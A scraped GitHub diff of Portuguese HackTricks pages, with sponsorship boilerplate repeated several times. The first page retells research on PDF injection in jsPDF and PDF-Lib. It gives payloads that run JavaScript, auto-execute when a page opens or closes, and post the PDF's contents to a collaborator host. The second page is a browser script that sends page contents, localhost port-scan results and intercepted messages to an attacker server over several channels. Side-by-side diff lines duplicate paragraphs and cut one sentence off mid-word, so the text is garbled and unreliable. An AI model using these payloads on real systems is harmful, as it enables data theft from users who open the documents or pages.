Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,40 +1,38 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Se a sua entrada estiver sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.**
**Se a sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.**
As seguintes informações foram retiradas de [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
Desta vez, eu estava usando o [PDFLib](https://pdf-lib.js.org). Levei algum tempo para usar a biblioteca para criar uma anotação e ver se eu poderia injetar um parêntese de fechamento na URI da anotação - e funcionou! O código vulnerável de amostra que usei para gerar o código de anotação foi:
Desta vez, eu estava usando [PDFLib](https://pdf-lib.js.org). Dediquei algum tempo para usar a biblioteca para criar uma anotação e ver se eu poderia injetar um parêntese de fechamento na URI da anotação - e funcionou! O código vulnerável de exemplo que usei para gerar o código da anotação foi:
`...` \
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
[Código completo:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
Como eu sabia que a injeção foi bem-sucedida? O PDF seria renderizado corretamente, a menos que eu injetasse um parêntese de fechamento. Isso provou que o parêntese de fechamento estava saindo da string e causando código PDF inválido. Quebrar o PDF foi legal, mas eu precisava garantir que pudesse executar JavaScript, é claro. Eu olhei para o código PDF renderizado e notei que a saída estava sendo codificada usando o filtro FlateDecode. Eu escrevi um pequeno script para descomprimir o bloco e a saída da seção de anotação ficou assim:`<<`\
Como eu sabia que a injeção foi bem-sucedida? O PDF renderizaria corretamente a menos que eu injetasse um parêntese de fechamento. Isso provou que o parêntese de fechamento estava quebrando o limite do texto e causando código PDF inválido. Quebrar o PDF foi bom, mas eu precisava garantir que eu pudesse executar JavaScript, é claro. Eu olhei para o código PDF renderizado e notei que a saída estava sendo codificada usando o filtro FlateDecode. Eu escrevi um pequeno script para desinflar o bloco e a saída da seção de anotação parecia assim:`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
@ -47,22 +45,86 @@ Como eu sabia que a injeção foi bem-sucedida? O PDF seria renderizado corretam
`>>`\
`>>`
Como você pode ver claramente, a string de injeção está fechando o limite de texto com um parêntese de fechamento, o que deixa um parêntese de fechamento existente que faz com que o PDF seja renderizado incorretamente:
Como você pode ver claramente, a string de injeção está fechando o limite do texto com um parêntese de fechamento, o que deixa um parêntese de fechamento existente que faz com que o PDF seja renderizado incorretamente:
![Captura de tela mostrando uma caixa de diálogo de erro ao carregar o PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
![Captura de tela mostrando um diálogo de erro ao carregar o PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
Ótimo, então eu poderia quebrar a renderização do PDF, e agora? Eu precisava criar uma injeção que chamasse algum JavaScript - o alert(1) da injeção PDF.
Ótimo, então eu poderia quebrar a renderização do PDF, e agora? Eu precisava criar uma injeção que chamasse algum JavaScript - o alert(1) da injeção de PDF.
Assim como os vetores de XSS dependem do parsing do navegador, a explorabilidade da injeção de PDF pode depender do renderizador de PDF. Eu decidi começar pelo Acrobat porque pensei que os vetores seriam menos propensos a funcionar no Chrome. Duas coisas que notei: 1) Você poderia injetar ações de anotação adicionais e 2) se você reparar o parêntese de fechamento existente, então o PDF renderizaria. Após algumas experimentações, eu criei uma carga útil agradável que injetou uma ação de anotação adicional, executou JavaScript e reparou o parêntese de fechamento:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
Primeiro eu saio do parêntese, depois saio do dicionário usando >> antes de começar um novo dicionário de anotação. O /S/JavaScript faz a anotação baseada em JavaScript e o /JS é onde o JavaScript é armazenado. Dentro dos parênteses está nosso JavaScript real. Note que você não precisa escapar os parênteses se eles estiverem balanceados. Finalmente, eu adiciono o tipo de anotação, termino o dicionário e reparo o parêntese de fechamento. Isso foi tão legal; eu poderia criar uma injeção que executasse JavaScript, mas e daí, certo? Você pode executar JavaScript, mas você não tem acesso ao DOM, então você não pode ler cookies. Então James apareceu e sugeriu roubar o conteúdo do PDF a partir da injeção. Eu comecei a olhar maneiras de obter o conteúdo de um PDF. No Acrobat, descobri que você pode usar JavaScript para enviar formulários sem qualquer interação do usuário! Olhando para a especificação da API JavaScript, foi bastante simples modificar a injeção base e adicionar um pouco de JavaScript que enviaria todo o conteúdo do código PDF para um servidor externo em uma requisição POST:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
O alerta não é necessário; eu apenas o adicionei para provar que a injeção estava executando JavaScript.
Em seguida, apenas por diversão, eu olhei para roubar o conteúdo do PDF sem usar JavaScript. Da especificação do PDF, descobri que você pode usar uma ação chamada SubmitForm. Eu usei isso no passado quando construí um PDF para uma verificação de varredura no Burp Suite. Ele faz exatamente o que o nome implica. Ele também tem uma entrada Flags no dicionário para controlar o que é enviado. A chave do dicionário Flags aceita um único valor inteiro, mas cada configuração individual é controlada por um bit binário. Uma boa maneira de trabalhar com essas configurações é usando os novos literais binários em ES6. O literal binário deve ter 14 bits de comprimento porque há 14 flags no total. No exemplo a seguir, todas as configurações estão desativadas:`0b00000000000000`
Para definir uma flag, você primeiro precisa olhar para a sua posição de bit (tabela 237 da [especificação do PDF](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). Neste caso, queremos definir a flag SubmitPDF. Como isso é controlado pelo 9º bit, você só precisa contar 9 bits da direita:`0b00000100000000`
Se você avaliar isso com JavaScript, isso resulta no valor decimal 256. Em outras palavras, definir a entrada Flags para 256 habilitará a flag SubmitPDF, o que faz com que o conteúdo do PDF seja enviado ao enviar o formulário. Tudo o que precisamos fazer é usar a injeção base que criamos anteriormente e modificá-la para chamar a ação SubmitForm em vez de JavaScript:`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
`https://your-id.burpcollaborator.net)`\
`/Type/Action>>/>>(`
## sPDF
Em seguida, apliquei minha metodologia a outra biblioteca PDF - [jsPDF](https://parall.ax/products/jspdf) - e descobri que ela também era vulnerável. Explorar esta biblioteca foi bastante divertido porque eles têm uma API que pode ser executada no navegador e permitirá que você gere o PDF em tempo real enquanto digita. Notei que, como a biblioteca PDP-Lib, eles esqueceram de escapar parênteses dentro das URLs de anotação. Aqui a propriedade url estava vulnerável:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerável`
Então eu gerei um PDF usando sua API e injetei código PDF na propriedade url:
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
`` `}); ``
Eu reduzi o vetor removendo as entradas de tipo do dicionário e a entrada F desnecessária. Depois, deixei um parêntese pendente que seria fechado pelo existente. Reduzir o tamanho da injeção é importante porque a aplicação web que você está injetando pode permitir apenas uma quantidade limitada de caracteres.`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
Depois, descobri que era possível reduzir ainda mais o vetor! O Acrobat permitiria uma entrada URI e uma entrada JavaScript dentro de uma única ação de anotação e executaria felizmente o JavaScript:`/)/S/JavaScript/JS(app.alert(1)`
Pesquisas adicionais revelaram que você também pode injetar múltiplas anotações. Isso significa que, em vez de apenas injetar uma ação, você poderia sair da anotação e definir suas próprias coordenadas de retângulo para escolher qual seção do documento seria clicável. Usando essa técnica, consegui fazer com que todo o documento fosse clicável. `/) >> >>`\
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
## Executando anotações sem interação
Até agora, os vetores que demonstrei requerem um clique para ativar a ação da anotação. Tipicamente, James fez a pergunta "Podemos executar automaticamente?". Eu olhei através da especificação do PDF e notei algumas características interessantes das anotações:
"As entradas **PV** e **PI** permitem uma distinção entre páginas que estão abertas e páginas que são visíveis. A qualquer momento, apenas uma única página é considerada aberta no aplicativo visualizador, enquanto mais de uma página pode ser visível, dependendo do layout da página."
Podemos adicionar a entrada PV ao dicionário e a anotação será disparada automaticamente no Acrobat! Não só isso, mas também podemos executar uma carga útil automaticamente quando o documento PDF é fechado usando a entrada PC. Um atacante poderia rastrear quando você abre o PDF e o fecha.
Aqui está como executar automaticamente a partir de uma anotação:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
`>> >>`\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Auto execute');`
Quando você fecha o PDF, esta anotação será disparada:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Close me');`
Assim como os vetores XSS dependem do parsing do navegador, a explorabilidade da injeção PDF pode depender do renderizador PDF. Decidi começar vis
## Chrome
Falei muito sobre o Acrobat, mas e o PDFium (leitor de PDF do Chrome)? O Chrome é complicado; a superfície de ataque é muito menor, pois o suporte ao JavaScript é mais limitado do que o do Acrobat. A primeira coisa que notei foi que o JavaScript não estava sendo executado em anotações, então meus testes de conceito não estavam funcionando. Para fazer os vetores funcionarem no Chrome, eu precisava pelo menos executar JavaScript dentro das anotações. Primeiro, decidi tentar sobrescrever uma URL em uma anotação. Isso foi bem fácil. Eu poderia usar a injeção base que criei antes e simplesmente injetar outra ação com uma entrada URI que sobrescreveria a URL existente:`var doc = new jsPDF();`\
Eu falei muito sobre o Acrobat, mas e sobre o PDFium (leitor de PDF do Chrome)? O Chrome é complicado; a superfície de ataque é muito menor, pois seu suporte a JavaScript é mais limitado do que o do Acrobat. A primeira coisa que notei foi que o JavaScript não estava sendo executado em anotações, então meus conceitos de prova não estavam funcionando. Para fazer os vetores funcionarem no Chrome, eu precisava pelo menos executar JavaScript dentro das anotações. Primeiro, porém, decidi tentar sobrescrever uma URL em uma anotação. Isso foi bastante fácil. Eu poderia usar a injeção base que criei antes e simplesmente injetar outra ação com uma entrada URI que sobrescreveria a URL existente:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
Isso navegaria para portswigger.net quando clicado. Então, passei a tentar diferentes injeções para chamar JavaScript, mas isso falharia todas as vezes. Eu pensei que era impossível de fazer. Eu dei um passo atrás e tentei construir manualmente um PDF inteiro que chamaria JavaScript a partir de um clique no Chrome sem uma injeção. Ao usar um botão AcroForm, o Chrome permitiria a execução do JavaScript, mas o problema era que ele exigia referências a partes do PDF. Eu consegui criar uma injeção que executaria JavaScript a partir de um clique no JSPDF:`var doc = new jsPDF();`\
Isso navegaria para portswigger.net quando clicado. Então eu continuei e tentei diferentes injeções para chamar JavaScript, mas isso falharia todas as vezes. Eu pensei que era impossível fazer. Eu dei um passo atrás e tentei construir manualmente um PDF inteiro que chamaria JavaScript a partir de um clique no Chrome sem uma injeção. Ao usar um botão AcroForm, o Chrome permitiria a execução de JavaScript, mas o problema era que ele exigia referências a partes do PDF. Eu consegui criar uma injeção que executaria JavaScript a partir de um clique no JSPDF:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
Como você pode ver, o vetor acima requer conhecimento da estrutura do PDF. \[ 3 0 R] refere-se a um objeto PDF específico e, se estivéssemos fazendo um ataque de injeção de PDF cego, não saberíamos a estrutura dele. Ainda assim, a próxima etapa é tentar uma submissão de formulário. Podemos usar a função submitForm para isso, e como a anotação requer um clique, o Chrome permitirá:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898
Como você pode ver, o vetor acima requer conhecimento da estrutura do PDF. \[ 3 0 R] refere-se a um objeto PDF específico e se estivéssemos fazendo um ataque cego de injeção de PDF, não saberíamos a estrutura dele. Ainda assim, a próxima etapa é tentar uma submissão de formulário. Podemos usar a função submitForm para isso, e como a anotação requer um clique, o Chrome permitirá:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
Isso funciona, mas é confuso e requer conhecimento da estrutura do PDF. Podemos reduzi-lo muito e remover a dependência da estrutura do PDF:`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(`\
`app.alert(1)`\
`)/Type/Action/F 4/DA

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```javascript
@ -30,72 +28,72 @@ var ALL_INFO = "" // Only used by Location exfiltration
// Function to make the data possible to transmit via either GET or POST
function encode(text){
return encodeURI(btoa(text));
return encodeURI(btoa(text));
}
// Functions to exfiltrate the information
function exfil_info(info_name, text, is_final=false){
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
if (EXFIL_BY_LOC){
if (is_final) exfil_by_loc(info_name, text);
else ALL_INFO += "\n\n" + info_name + "=" + text;
}
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
if (EXFIL_BY_LOC){
if (is_final) exfil_by_loc(info_name, text);
else ALL_INFO += "\n\n" + info_name + "=" + text;
}
}
function exfil_by_img(info_name, text){
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
}
function exfil_by_rq_get(info_name, text){
var xhttp = new XMLHttpRequest();
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
xhttp.send();
var xhttp = new XMLHttpRequest();
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
xhttp.send();
}
function exfil_by_rq_post(info_name, text){
var xhttp = new XMLHttpRequest();
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
xhttp.send(text);
var xhttp = new XMLHttpRequest();
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
xhttp.send(text);
}
function exfil_by_fetch_get(info_name, text){
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
}
function exfil_by_fetch_post(info_name, text){
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
}
function exfil_by_nav(info_name, text){
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
}
function exfil_by_loc(info_name, text){
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
}
// Functions to get the data to exfiltrate
function exfil_page_content(url){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
exfil_info(url, encode(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send(null);
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
exfil_info(url, encode(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send(null);
}
function exfil_internal_port(port){
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
exfil_info("internal_port", encode(port));
});
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
exfil_info("internal_port", encode(port));
});
}
@ -112,26 +110,24 @@ top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70
top_1000.forEach(port => exfil_internal_port(port));
if (EXFIL_BY_LOC){
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
}
// Sniff info
window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
exfil_info("onmessage", encode(e.data))
}
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,17 +2,15 @@
<details>
